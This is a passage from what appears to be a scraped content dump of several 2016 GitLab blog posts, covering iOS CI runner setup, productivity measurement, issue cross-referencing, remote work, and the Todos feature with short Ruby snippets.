started\nGitLab_CI_for_iOSTests\n    . testExample (0.001 seconds)\n    T testPerformanceExample measured (0.000 seconds)\n    . testPerformanceExample (0.324 seconds)\n\n\n\t Executed 2 tests, with 0 failures (0 unexpected) in 0.325 (0.328) seconds\n\nAll tests\nTest Suite GitLab-CI-for-iOSUITests.xctest started\nGitLab_CI_for_iOSUITests\n    . testExample (3.587 seconds)\n\n\n\t Executed 1 test, with 0 failures (0 unexpected) in 3.587 (3.589) seconds\n\n\nBuild succeeded.\n```\n\nNow you can go ahead and start writing tests for your code, and every time you\npush a commit, GitLab will diligently fetch the project, clean it, and then build\nand test it. If the build fails, you can take action to fix the commit.\n\n### Starting and stopping the runner on your Mac\n\nThe GitLab Runner includes several convenient commands, which you can list easily:\n\n```\n$ gitlab-ci-multi-runner --help\nNAME:\n   gitlab-ci-multi-runner - a GitLab Runner\n\nUSAGE:\n   gitlab-ci-multi-runner [global options] command [command options] [arguments...]\n\nVERSION:\n   1.0.4 (014aa8c)\n\nAUTHOR(S):\n   Kamil Trzciński \u003Cayufan@ayufan.eu>\n\nCOMMANDS:\n   archive\tfind and archive files (internal)\n   artifacts\tupload build artifacts (internal)\n   extract\textract files from an archive (internal)\n   exec\t\texecute a build locally\n   list\t\tList all configured runners\n   run\t\trun multi runner service\n   register\tregister a new runner\n   install\tinstall service\n   uninstall\tuninstall service\n   start\tstart service\n   stop\t\tstop service\n   restart\trestart service\n   status\tget status of a service\n   run-single\tstart single runner\n   unregister\tunregister specific runner\n   verify\tverify all registered runners\n   help, h\tShows a list of commands or help for one command\n\nGLOBAL OPTIONS:\n   --debug\t\t\tdebug mode [$DEBUG]\n   --log-level, -l \"info\"\tLog level (options: debug, info, warn, error, fatal, panic)\n   --help, -h\t\t\tshow help\n   --version, -v\t\tprint the version\n```\n\nYou may want to stop the Runner so that a build isn't immediately triggered by a\npushed commit:\n\n```\n$ gitlab-ci-multi-runner stop\n$ gitlab-ci-multi-runner status\ngitlab-runner: Service is not running.\n```\n\nIn this case, any builds pushed will show up as **pending** and will be triggered\nas soon as you restart the Runner:\n\n```\n$ gitlab-ci-multi-runner start\n$ gitlab-ci-multi-runner status\ngitlab-runner: Service is running!\n```\n\nAny pending builds in the queue will then be triggered, launching Simulator and\nrunning the test suite normally.\n\n### Advanced: archiving the project automatically\n\nLet's say that, if we commit to the `master` branch, we want GitLab CI to not only build and\ntest the project, but also provide some continuous delivery, where it creates an\napplication archive, and uploads it to GitLab.\n\nWe start by modifying our `.gitlab-ci.yml` file to add an `archive` stage and an\n`archive_project` job:\n\n```\nstages:\n  - build\n  - archive\n\nbuild_project:\n  stage: build\n  script:\n    - xcodebuild clean -project ProjectName.xcodeproj -scheme SchemeName | xcpretty\n    - xcodebuild test -project ProjectName.xcodeproj -scheme SchemeName -destination 'platform=iOS Simulator,name=iPhone 6s,OS=9.2' | xcpretty -s\n  tags:\n    - ios_9-2\n    - xcode_7-2\n    - osx_10-11\n\narchive_project:\n  stage: archive\n  script:\n    - xcodebuild clean archive -archivePath build/ProjectName -scheme SchemeName\n    - xcodebuild -exportArchive -exportFormat ipa -archivePath \"build/ProjectName.xcarchive\" -exportPath \"build/ProjectName.ipa\" -exportProvisioningProfile \"ProvisioningProfileName\"\n  only:\n    - master\n  artifacts:\n    paths:\n    - build/ProjectName.ipa\n  tags:\n    - ios_9-2\n    - xcode_7-2\n    - osx_10-11\n```\n\nThe `archive_project` job runs two scripts: the first cleans and archives your\nXcode project, and the second builds an `.ipa` file; the `only` setting means that\nthis job will only run when we commit to master. Notice that it also defines\n`artifacts`; after the `ProjectName.ipa` application archive is created, this\noption uploads it to GitLab, where you can later download it from the *Build* page.\n\nIn the `archive_project` job's `exportArchive` script, make sure you pass in the\ncorrect `ProvisioningProfileName`. It's possible that the `archive_project` job\nwill fail if your developer keys are in the login Keychain, because it's not unlocked\nin the script. The simplest way to fix this without putting your password in a\nscript is to open Keychain Access on your Mac and drag and drop them to the System\nKeychain.\n\nNow, when we commit to master, the build will also show us the archive results,\nalong with the option to download or browse our build artifacts!\n\n![The archive results page.](https://about.gitlab.com/images/blogimages/setting-up-gitlab-for-ios-projects/10_archive-results.png)\n\n### Other salient points\n\n- This workflow should work for *any* kind of Xcode project, including tvOS,\nwatchOS, and macOS. Just be sure to specify the appropriate Simulator device in\nyour `.gitlab-ci.yml` file.\n- If you want to push a commit but don't want to trigger a CI build, simply add\n`[ci skip]` to your commit message.\n- If the user that installed the GitLab runner isn't logged in, the runner won't\nrun. So, if builds seem to be pending for a long time, you may want to check on\nthis!\n- If you're working on a team, or if your project is public, you may want to install\nthe GitLab Runner on a dedicated build machine. It can otherwise be very distracting\nto be using your machine and have Simulator launch unexpectedly to run a test suite.\n- The test project used in this particular tutorial is [available here](https://gitlab.com/AngeloStavrow/gitlab-ci-for-ios-projects),\nbut the Runner is permanently stopped. Note that the project isn't tied to a particular\nteam, so provisioning isn't an issue here; in fact, *no* provisioning profile is specified.\nYou, however, may need to [add some parameters to the build scripts](https://coderwall.com/p/rv2lgw/use-xcodebuild-to-build-workspace-vs-project)\nin your `.gitlab-ci.yml` file if you see provisioning errors in your build output.\n\n## About guest author Angelo Stavrow\n\n[Angelo](http://angelostavrow.com) is a Quality Engineer and Software Developer\nliving in Montreal, Canada. He believes that open, honest, collaboration is the\nbest path towards building great things *and* great teams.\n\n",{"slug":38721,"featured":6,"template":678},"setting-up-gitlab-ci-for-ios-projects","content:en-us:blog:setting-up-gitlab-ci-for-ios-projects.yml","Setting Up Gitlab Ci For Ios Projects","en-us/blog/setting-up-gitlab-ci-for-ios-projects.yml","en-us/blog/setting-up-gitlab-ci-for-ios-projects",{"_path":38727,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38728,"content":38734,"config":38738,"_id":38740,"_type":16,"title":38729,"_source":17,"_file":38741,"_stem":38742,"_extension":20},"/en-us/blog/commits-do-not-equal-productivity",{"title":38729,"description":38730,"ogTitle":38729,"ogDescription":38730,"noIndex":6,"ogImage":38731,"ogUrl":38732,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38732,"schema":38733},"Commits Do Not Equal Productivity","In this post we'll consider some ways people evaluate or represent productivity, and I ask for your thoughts on what you track and what you think matters.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684616/Blog/Hero%20Images/racing.png","https://about.gitlab.com/blog/commits-do-not-equal-productivity","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Commits Do Not Equal Productivity\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2016-03-08\",\n      }",{"title":38729,"description":38730,"authors":38735,"heroImage":38731,"date":38736,"body":38737,"category":8943},[36660],"2016-03-08","\n\nIf you’re interested in an indication of productivity of individual software engineers (programmers), don’t look at commits or other measures of activity. Look at _consistent progress_ instead.\nIn this post we'll consider some ways people evaluate or represent productivity,\nand I ask for your thoughts on what you track and what you think matters.\n\n\u003C!-- more -->\n\n## Commits\n\nCommits are arbitrary changes captured in a single moment in time. Their size and frequency do not correlate with the work needed to achieve that change. At best, commits can be viewed as an indication of activity.\n\nAs a general rule, a programmer should consistently be making commits throughout their work. This can be reduced to ‘a programmer should write code’, which is not very enlightening.\nThe frequency of the commits, nor the size should be compared between programmers. What should be committed is often a matter of personal preference and is subject to debate.\n\nIt can be argued that diminishing commits by a single engineer on a single project can be an indicator of lower productivity. However, that engineer might’ve just read a Hacker News thread that argues for squashing smaller commits.\n\nDon’t measure productivity with commits.\n\n## Weights and Points\n\nAre you using an issue tracker with weights or points? That’s a good start. You can now get a sense of the total volume of work planned and delivered by a team.\n\nTypically, you’d sum the total sum of delivered work and call that _velocity_. You now have a good idea how well your _team_ can estimate the effort required to build things versus how much they actually build things.\n\nEstimating issue weights is notoriously hard and is advised to be done in a group, using games like [Planning Poker]. The issue weight should be taken as an abstract idea of the total body of work, not directly related to the amount of time necessary for this task (this is also why people often use the Fibonacci sequence, and as bigger tasks are harder to estimate).\n\nMeasuring the productivity of individuals by looking at velocity on an engineer-by-engineer basis would mean they’d be measured against the ability of the group to estimate work load. Worse is that this would encourage engineers to over-estimate or otherwise ‘play the system’.\n\nDon’t measure productivity with velocity.\n\n## Progress\n\nTo get an indication of productivity, look at the progress someone is making in their work. In this sense, progress means someone is taking deliberate steps to work towards solving the problem they are working on.\n\nThe best way to get an idea of someone’s progress is to look at _both their communication and activity_. An effective engineer will either be making commits to further their progress or communicate in some way about their work. It’s only when you look at both these factors that you can say something about their productivity.\n\n**A productive engineer communicates and commits. At times, only one of the two.**\n\n## How to Gauge Productivity\n\nI argue that an engineer’s productivity should not be judged by their deliverables or direct output, rather it should be measured by progress. Progress as I define it, is hard to measure, but easy to gauge:\n\n> How is your work going?\n\nA productive programmer will tell you to stop distracting them and come back\nin an hour. And then they’ll give you a pretty good idea of their productivity.\n\n## How to Measure Productivity\n\nRight now, in GitLab you can see your commit activity in your profile:\n\n![In your profile, view commits per day in GitLab](https://about.gitlab.com/images/commitsprod/commits.png)\n\nand get an idea of how everyone in a project is committing on average during\nthe day:\n\n![View average project commit activity in GitLab](https://about.gitlab.com/images/commitsprod/perday.png)\n\nBut both of these measures only relate to direct commit activity.\nIn GitLab Enterprise Edition, you can get a detailed overview of\nthe activity of everyone in a group with our [Contribution Analytics].\nHere, we give a better overview of the total amount of activity of any\ndeveloper, but in all fairness doesn't resolve all problems that I've outlined.\n\nIn future releases, we're planning to add more analytics to GitLab,\nboth relating to code (quality) and activity of its users. I hope that by\ncombining more data in smart ways, we can give better insights into developer\nactivity.\n\nI'm especially interested to hear what you think we should measure.\nPlease feel free to leave a comment below or [create an issue] suggesting\nhow we can improve analytics in GitLab.\n\n## Live tutorial: GitLab workflow\n\nIn our next webcast on March 10th, we'll dig into the GitLab workflow.\n\nThis will take you through the steps of making an issue, merge requests, and\nusing tools in GitLab for cross-referencing and keeping your issue tracker\norganized with labels and milestones.\n\n- Date: Thursday, March 10, 2016\n- Time: 5pm (17:00) UTC; 12pm EST; 9am PST\n- [Register here][webcast]\n\nCan't make it? Register anyway, and we'll send you a link to watch it later.\n\n[Planning Poker]: https://www.planningpoker.com\n[webcast]: http://page.gitlab.com/mar-2016-gitlab-introduction.html\n[Contribution Analytics]: http://doc.gitlab.com/ee/analytics/contribution_analytics.html\n[create an issue]: https://gitlab.com/gitlab-org/gitlab-ce/issues/new\n",{"slug":38739,"featured":6,"template":678},"commits-do-not-equal-productivity","content:en-us:blog:commits-do-not-equal-productivity.yml","en-us/blog/commits-do-not-equal-productivity.yml","en-us/blog/commits-do-not-equal-productivity",{"_path":38744,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38745,"content":38750,"config":38753,"_id":38755,"_type":16,"title":38756,"_source":17,"_file":38757,"_stem":38758,"_extension":20},"/en-us/blog/gitlab-tutorial-its-all-connected",{"title":38746,"description":38747,"ogTitle":38746,"ogDescription":38747,"noIndex":6,"ogImage":38196,"ogUrl":38748,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38748,"schema":38749},"Tutorial: It's all connected in GitLab","In GitLab, everything you do can be cross-linked and referenced. This improves discoverability and reduces duplicate effort.","https://about.gitlab.com/blog/gitlab-tutorial-its-all-connected","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: It's all connected in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2016-03-08\",\n      }",{"title":38746,"description":38747,"authors":38751,"heroImage":38196,"date":38736,"body":38752,"category":734},[38561],"\n\nIn GitLab, everything you do can be cross-linked and referenced.\nThis improves discoverability and reduces duplicate effort.\n\nGitLab is more than just a Git repository manager.\nThere are a number of tools to help you collaborate with others, or even\njust manage a project yourself.\nThe best features of GitLab help you link and reference related work.\n\n\u003C!-- more -->\n\n## Your issue is the Single Source of Truth\n\nAs mentioned in my previous post, [always start with an issue][start-issue].\n\nThis way you have everything you need to know about the issue in one place.\nYou can use [GitLab Flavored Markdown] to format content in the issue.\n\nLater, as you make decisions, keep the issue description updated as the \"Single\nSource of Truth\" particularly when you hand off the issue and assign to someone else.\nWe use this as a [guideline in our own handbook about our workflow][ssot].\n\n> When reassigning an issue, make sure that the issue body contains the\nlatest information. The issue body should be the single source of truth.\n\nLink directly to other issues and even comments to identify where you have\nmade decisions. The links will get formatted to be more readable.\n\n![Link to comments](https://about.gitlab.com/images/blogimages/connect-commentlink.png)\n\n## How to reference what's related in issues and MRs\n\nAdd [references] in GitLab issues, merge request descriptions, or in comments on issues or MRs.\nThis will update the issue with info about anything related.\n\n- To reference an issue: `#123`\n- To reference a MR: `!123`\n- To reference a snippet `$123`\n\nYou can make all the same [references] in comments or merge requests as you can\nin an issue description.\n\nThe purpose of the [WIP]: (work in progress) merge request is to encourage early code\nreview, so you can share your work with others.\nIn this way you can reference related work, and hopefully reduce duplicate effort.\n\n## How to add labels and milestones at a glance\n\nAdd [labels] for categorization.\nLabels can have a description and a color.\n\nAdd a [milestone] to set a target date. A milestone is often used for releases,\nbut you can also use milestones to create a simple workflow.\n\nThe [milestone view][milestone-mr] lets you see the status of issues at a glance, and you can\nsee the labels in this view.\n\n![Milestone display of issue](https://about.gitlab.com/images/blogimages/connect-milestone.png)\n\nThe same goes for the display of merge requests tagged under a milestone.\n\n![Milestone display of MRs](https://about.gitlab.com/images/blogimages/connect-milestonemr.png)\n\nYou can also view [milestones across an entire group][group-milestones].\n\n## How to add references in commits and code review\n\nSimilar to references on merge requests, you can add references in commit messages. For example, you could reference an issue ID or URL (in GitLab or Jira) for anyone who could use more context.  \nFurther details are in the documentation: [How to write a good commit message](https://docs.gitlab.com/ee/topics/gitlab_flow.html#how-to-write-a-good-commit-message)\n\n> `git commit -m \"Awesome commit message (Fixes #21 and Closes group/otherproject#22)\"`\n\nYour colleague can provide line by line code review.\nCommits also have a comment thread available for discussion,\nand the rules of referencing apply.\nYou can also link directly to lines of code in comments.\n\n## @Mention others and assign\n\nGitLab is a platform for collaborating.\nYou can mention people with @username and ask them to provide feedback in\nmerge requests or issues.\nYou can also assign someone to an issue or MR.\n\nIn either case, the user will see a notice pop up on their [Todos] list.\n\n![Todos](https://about.gitlab.com/images/blogimages/todos-screenshot.jpg)\n\nWhen issues are assigned in GitLab, it's assumed someone is working on it,\nand it appears as \"Ongoing\", open and assigned.\nMake sure to unassign yourself to indicate when you are *not* working on an issue,\nand this will make it more likely that the issue will be picked up.\n\nThere’s always a single person responsible to work on a MR at one time.\nUsually the person who is assigned to the MR is responsible for making any\namendments suggested in review.\n\nWe have a feature if you want to approve merge requests in EE, but there's one\nperson who presses the final merge button.\nHence, only one person can be assigned at a time.\n\n## What will this merge request resolve? Close issues automatically.\n\nIn your merge request description add \"Closes #123\" or \"Fixes #123\".\nWhen you merge that branch, GitLab will close the issues you\nreferenced with Fixes #ID or Closes #ID.\n\n![Close when the MR is merged](https://about.gitlab.com/images/blogimages/connect-relatedmr.png)\n\nYou can use all the collaborative tools we have at the point of a merge request.\nSo you can add all the same references, categorization, and comments that you\ncan in issues.\nThere's a key difference. Merge requests generally resolve issues.\nAdding that reference means GitLab can take care of tidying up your issue\ntracker when you're done.\n\n[*Merge when build succeeds*][merge-succeeds] is not just a timesaver, it\nalso helps keep your momentum going.\n\nAfter merging you may want to turn your mind to the next project.\nOr you may simply need a break!\nYou don't want to come back and have to remember to check and then merge,\nand then have to remember to close related issues.\nLet GitLab do that for you.\n\n## Video tutorial: GitLab workflow\n\nIn [this video tutorial](https://www.youtube.com/watch?v=enMumwvLAug), we dig into the GitLab workflow outlined above. This will take you through the steps of making an issue, merge requests, and using tools in GitLab for cross-referencing and keeping your issue tracker organized with labels and milestones.\n\n[merge-succeeds]: http://doc.gitlab.com/ce/workflow/merge_when_build_succeeds.html\n[milestone-mr]: https://gitlab.com/gitlab-org/gitlab-ce/milestones/22\n[group-milestones]: https://gitlab.com/groups/gitlab-org/issues?milestone_title=8.6\n[our monthly release issue]: http://doc.gitlab.com/ee/release/monthly.html#create-an-overall-issue-and-follow-it\n[create-project]: https://docs.gitlab.com/ee/user/project/working_with_projects.html#create-a-project\n[ssot]: /handbook/communication/#gitlab-workflow\n[start-issue]: /blog/start-with-an-issue/\n[webcast]: http://page.gitlab.com/mar-2016-gitlab-introduction.html\n[glf-commit]: http://doc.gitlab.com/ee/workflow/gitlab_flow.html#committing-often-and-with-the-right-message\n[GitLab Flow]: http://doc.gitlab.com/ee/workflow/gitlab_flow.html\n[Patricio-tips]: /2015/02/19/8-tips-to-help-you-work-better-with-git/\n[Todos]: http://doc.gitlab.com/ce/workflow/todos.html\n[WIP]: http://doc.gitlab.com/ce/workflow/wip_merge_requests.html\n[gitlab-ui]: /2016/02/10/feature-highlight-create-files-and-directories-from-files-page/\n[GitLab Flavored Markdown]: http://doc.gitlab.com/ce/markdown/markdown.html\n[task lists]: http://doc.gitlab.com/ce/markdown/markdown.html#task-lists\n[labels]: http://doc.gitlab.com/ce/workflow/labels.html#sts=Labels\n[milestone]: http://doc.gitlab.com/ce/workflow/milestones.html\n[references]: https://docs.gitlab.com/ee/user/markdown.html#special-gitlab-references\n",{"slug":38754,"featured":6,"template":678},"gitlab-tutorial-its-all-connected","content:en-us:blog:gitlab-tutorial-its-all-connected.yml","Gitlab Tutorial Its All Connected","en-us/blog/gitlab-tutorial-its-all-connected.yml","en-us/blog/gitlab-tutorial-its-all-connected",{"_path":38760,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38761,"content":38766,"config":38770,"_id":38772,"_type":16,"title":38773,"_source":17,"_file":38774,"_stem":38775,"_extension":20},"/en-us/blog/remote-working-gitlab",{"title":38762,"description":38763,"ogTitle":38762,"ogDescription":38763,"noIndex":6,"ogImage":38286,"ogUrl":38764,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38764,"schema":38765},"Working Remotely at GitLab: An update","You might be curious what it's like to work remotely at GitLab. Watch this video to hear from our team!","https://about.gitlab.com/blog/remote-working-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Working Remotely at GitLab: An update\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2016-03-04\",\n      }",{"title":38762,"description":38763,"authors":38767,"heroImage":38286,"date":38768,"body":38769,"category":6634},[38561],"2016-03-04","\n\nIn April 2015, we published [the Remote Manifesto][manifesto] on our blog.\nThere were 9 people in the company at that time, which means we've grown\nover 600% during that time, with 54 people [on our team][team] as I write this.\n\n\u003C!-- more -->\n\n### Working remotely at GitLab\n\nYou might be curious what it's like to work remotely at GitLab.\nWatch this video to hear from our team!\n\n\u003Cdiv style=\"text-align: center; margin-bottom: 12px\">\n  \u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/NoFLJLJ7abE\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\u003C/div>\n\n### Our handbook\n\nThe Remote manifesto outlines the over-arching principles.\nYet it's the [handbook][handbook] that details the specifics.\n\n[The communication guidelines][communication handbook] in the handbook are thorough.\nMy friend asked me how I could possibly remember it all.\nIn fact you don't have to.\nWhen you start out at GitLab, you read the handbook, but you still act and react\nwith your old habits.\nLuckily your colleagues will remind you, and help you learn how to *be more GitLab.*\n\nA typical thing is to see someone say \"I'm going out for lunch.\"\nBut you don't need to tell people at GitLab you're going AFK (away from keyboard).\nSo invariably, someone else will remind them: Hey no one is checking up on you.\n\nAs the handbook says:\n\n> Everyone at the company cares about your output.\nBeing away from the keyboard during the workday, doing private browsing\nor making personal phone calls is fine and encouraged.\n\nYou're expected to get your work done, and organize your own time.\nWe do keep a group availability calendar, so if someone is away everyone can see easily.\n\nAnother typical thing is to be chatting 1:1 with someone, and someone else will\nsay: Hey we should bring this to a group channel so others can see.\n\nAs the handbook advises:\n\n> If you use chat please use a public channel whenever possible,\nmention the person you want to reach if it is urgent.\nThis ensures it is easy for other people to chime in, and easy to\ninvolve other people, if needed.\n\nMany rules of communication in face to face offices are implicit.\nHaving the Handbook helps making those rules explicit and clear.\n\n### So what has changed? The team call got bigger.\n\nIn July 2014, Job wrote about [how GitLab works remotely][remotely].\nWe still do have a daily [team call][team call].\nThe technology may have changed, but that isn't as relevant as how we do it.\n\nThe rules, according to the [the Remote Manifesto][manifesto] are the same,\nbut we had to make some changes to accommodate a larger group.\n\nWe still keep a running agenda, which acts like an internal \"GitLab News\" update.\nIt's expected that even if you can't make the meeting, you still read it.\nWe start with agenda items which anyone can add.\n\nThen we get an update from members of a functional team.\nSo you can find out what other teams are working on easily and ask questions.\nOur Marketing team gives an update on Mondays!\n\nWe still use the time for bonding too.\nThis is one of my favorite guidelines in the handbook:\n\n> Having pets, children, significant others, friends and family visible\nduring video chats is encouraged.\nIf they are humans, ask them to wave at your remote team member to say ‘Hi’.\n\nAs a remote employee since 2009, I can't even tell you how much this means to me.\nIt reflects the human and compassionate side of GitLab. It's lovely.\nIt's not unusual to have some small kids on laps, or dogs, or cats.\nThe daily team meeting is meant to be a relaxing time, and it always cheers me up!\n\nThe main difference is that now we can't hear from everyone each day,\nso we have people grouped to speak on a specific day.\nThen each person talks about something they did recently, or they are planning to do.\nNo one expects you to be \"interesting\" though.\nWhether you baked a cake or watched a movie, it's been an easy way to get to know\npeople across the company.\nI was worried my nights of knitting might be boring news, but I flash a WIP\n(work in progress in Knitting terminology, and [on GitLab][wip])\nonce in a while, and it's nice to share.\n\n### How remote bonding works even better\n\nMy favorite quote from the video above is what [Ashley](https://twitter.com/theunquietone) said:\n\"You really get to know people and you don’t realise that you do.\"\nThat's exactly how the team meeting works.\n\nI have a feeling that I know my colleagues in this company even better\nthan I did in previous companies.\nThough I haven't met any of them in person (yet!)\n\nIn an office, you might bond more easily with those in close physical proximity.\nWith the team meeting, I feel somehow *close* to the people who joined around\nthe same time as me.\n[Jose](https://twitter.com/random_primate) joined right before me, and speaks\nbefore me in the team meeting, and [Grzegorz](https://twitter.com/GrzegorzBizon)\njoined after me, and I hand over the call to him right after me.\nWhile we don't work on the same teams, I've become more familiar with them somehow.\n\nThe notion of *proximity* is different in a remote organization.\n\nOne day, one of our colleagues said he was really bummed out and didn't even\nfeel like working.\nEveryone rallied around him.\nThey encouraged him with positive feedback.\nThey encouraged him to take time off too.\n\nI kept on thinking that if this had happened in an office,\nhe might be on the other side of the building, struggling and I wouldn't know.\nThe lack of physical proximity has the potential to bring us closer,\nas long as we are sharing what we're experiencing.\nWhile it took some bravery for him to share that, I love that he did.\n\nI know that in a way, being remote is a challenge.\nI can't go make him a cup of tea and chat with him.\nBut it gives an advantage in that we all share these experiences together.\n\nOf course, when we do get together, we can pick up where we left off.\nAnd I'm very much looking forward to that.\n\nWe have a [visiting grant][visiting-grant] at GitLab, to bring people together.\n\n> If you want to visit a colleague in another part of the world, or promote\nGitLab at events in another country, then present your travel plan to your\nmanager or the CEO, and you can receive up to $2,000 in support for your plan!\n\nWhile we don't have an office, we can get financial support to visit colleagues.\nI'm super excited about this! I can't wait to make a trip on this grant :)\n\n### Join us!\n\nHaving the handbook out there in the open makes it easier for people to\nidentify if they'd be a fit for our team.\n\nIf you'd like to work with us at GitLab, please check out the [Jobs][jobs] available.\n\n[visiting-grant]: /handbook/incentives/#visiting-grant\n[wip]: http://doc.gitlab.com/ce/workflow/wip_merge_requests.html\n[jobs]: /jobs/\n[handbook]: /handbook/\n[communication handbook]: /handbook/communication/\n[team call]: /handbook/communication/#team-call\n[manifesto]: /blog/the-remote-manifesto/\n[team]: /company/team/\n[remotely]: /blog/how-gitlab-works-remotely/\n",{"slug":38771,"featured":6,"template":678},"remote-working-gitlab","content:en-us:blog:remote-working-gitlab.yml","Remote Working Gitlab","en-us/blog/remote-working-gitlab.yml","en-us/blog/remote-working-gitlab",{"_path":38777,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38778,"content":38784,"config":38788,"_id":38790,"_type":16,"title":38791,"_source":17,"_file":38792,"_stem":38793,"_extension":20},"/en-us/blog/gitlab-todos-feature-highlight",{"title":38779,"description":38780,"ogTitle":38779,"ogDescription":38780,"noIndex":6,"ogImage":38781,"ogUrl":38782,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38782,"schema":38783},"Feature Highlight: Todos","In this blog post I'll guide you through the Todos feature we introduced in GitLab 8.5 and also tell you how this feature came to life.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684608/Blog/Hero%20Images/taking-notes.jpg","https://about.gitlab.com/blog/gitlab-todos-feature-highlight","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Todos\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Douglas Alexandre\"}],\n        \"datePublished\": \"2016-03-02\",\n      }",{"title":38779,"description":38780,"authors":38785,"heroImage":38781,"date":38786,"body":38787,"category":299},[13833],"2016-03-02","\n\nIn this blog post I'll guide you through the \"Todos\" feature we introduced in\n[GitLab 8.5](/releases/2016/02/22/gitlab-8-5-released/)\nand also tell you how this feature came to life.\nWe'll also talk about how you can contribute to GitLab.\n\n\u003C!-- more -->\n\n### First let’s look at this feature\n\nWhen you log into GitLab, you'll want to see where you should spend your time,\nwhere your team members need help, where you need to take some action, or what\nyou need to keep an eye on. All without the mess of a huge pile of e-mail\nnotifications.\n\nWhen an issue or merge request is assigned to you, or when you are `@mentioned`\nin a comment, this triggers a notification and you may get an e-mail, depending\non your notification settings. Starting from GitLab 8.5, these actions will\nalso add a notice in your Todos list, which you can access by clicking the\nround gray icon next to the search bar in the upper right corner.\n\n![Todos screenshot showing a list of items to check on](https://about.gitlab.com/images/blogimages/todos-screenshot.jpg)\n\nYou can then respond to the todo by performing an action to the corresponding\nissue or merge request. This action can include changing the milestone, adding\na label, commenting on the issue and pretty much everything that adds extra\ninformation to the issue/merge request.\n\nIn case where you think no action is needed, you can manually mark the todo as\n**Done** and it will disappear from your Todos list.\n\nIn order for a todo to be marked as done, the action must be coming from you.\nSo, if you close/merge the related issue or merge request yourself, and you had\na todo for that, it will automatically get marked as done. On the other hand,if\nsomeone else closes, merges or takes action on the issue or merge request, your\ntodo will remain pending. This makes sense because you may need to give\nattention to an issue even if it has been resolved.\n\nAnother thing is that you won't have a gazillion Todos about the same issue or\nmerge request. There is just one todo per issue or merge request, you won’t be\nannoyed repeatedly.\n\nNext, let’s see how this feature came to life.\n\n### How we developed this feature\n\nIt was just a few weeks before the 8.5 release when\n[Dmitry](https://twitter.com/dzaporozhets) asked me to work on this feature.\nIn fact, that was a lot of work to be done in such a short time and I actually\ndelivered this task on the last release candidate before our release day.\nAs it turned out, people were quite surprised and happy to have this feature in\n8.5.\n\nThere had been a long discussion about this feature, but no one had touched it\nyet. The original proposal was very complicated, there were a lot of comments\non the issue too, with a more active discussion in the last two months.\n\nFinally, after considering all the options,\n[Dmitry commented on the issue][comment] and greatly simplified it.\n\nI was excited about taking on the challenge. Not only because I knew it would\nbe an important feature, but it would also be a feature that most people will\nuse every day. This is the second major feature I've worked on since I started\nat GitLab in December. Previously, I had worked on the GitHub import project\nwhich came out in GitLab 8.4.\n\nI needed to learn quite a lot of the GitLab codebase in order to create this\nfeature. And then, while I was reading the code, I was surprised to discover it\nwas going to be much easier than I thought. My epiphany was that we already had\nthe Activity feed system in place which I could reuse. As it turned out, it was\ngoing to be very easy to implement this feature.\n\nAt the beginning, I spent the first week reading the code, understanding how\nthe system worked, discovering the points that we needed to trigger a todo. I\nwrote some guidelines about what I needed to achieve and then I started writing\nthe actual code by the end of the week. Yep, most of the coding was done in one\nweek.\n\nAt first, I needed to investigate how the Activity feed system works.\n\n![Screenshot of activity feed](https://about.gitlab.com/images/blogimages/activity-feed-screenshot.jpg)\n\nThen, I plugged in another service to trigger the todo when an issue or merge\nrequest is assigned to someone, or when someone is `@mentioned` in a comment or\nthe issue description. After this, I just needed to make sure that when someone\ncompleted whatever they thought is needed on the issue or merge request, the\ntodo will be marked as **Done**.\n\nDepending on the action that someone made on the issue or merge request, we\nneed to know exactly what attributes were changed. This is specially important\nto know when Todos are automatically marked as **Done**.\n\nTo know what changed inside a issue or merge request, we used the\n[Rails ActiveModel::Dirty API][dirty] that allows us to quick track what\nattributes on a model have changed, even after the model was saved.\n\nThe `ActiveModel::Dirty` works very well, except that it doesn't track changes\non associations. So how we determine what changed inside the association? For\nexample, how to check if a label was added, or removed from an issue or merge\nrequest? To accomplish this, we came with a boring solution, where we receive\nthe old items of the association through a parameter, and compare it with\nthe current association to check if something has changed.\n\nThe method that checks if at least one valid attribute has changed, is the\nfollowing:\n\n```ruby\ndef has_changes?(issuable, options = {})\n  valid_attrs = [:title, :description, :assignee_id, :milestone_id, :target_branch]\n\n  attrs_changed = valid_attrs.any? do |attr|\n    issuable.previous_changes.include?(attr.to_s)\n  end\n\n  old_labels = options[:old_labels]\n  labels_changed = old_labels && issuable.labels != old_labels\n\n  attrs_changed || labels_changed\nend\n```\n\nA quick note about this code snippet is that it will run _after_ the model was\nsaved, so `previous_changes` is the method that we need to call, and it returns\na hash with the attributes that were changed before the model was saved.\n\nWe can see on the following snippet that other GitLab features, like\nthe system note and the notification service, also use this API to trigger an\naction after certain attributes have changed:\n\n```ruby\nif issue.previous_changes.include?('assignee_id')\n  create_assignee_note(issue)\n  notification_service.reassigned_issue(issue, current_user)\n  todo_service.reassigned_issue(issue, current_user)\nend\n```\n\nTo get an idea about the points that trigger an action related to Todos,\nyou can take a look at the source code of the [TodoService] class, that\ndescribes the expected behavior for each of these points.\n\nMy colleague, [Douwe](https://twitter.com/DouweM), guided me through some of\nthese edge cases and helped me a lot with daily code reviews. Together we\nconsidered the aspects of the 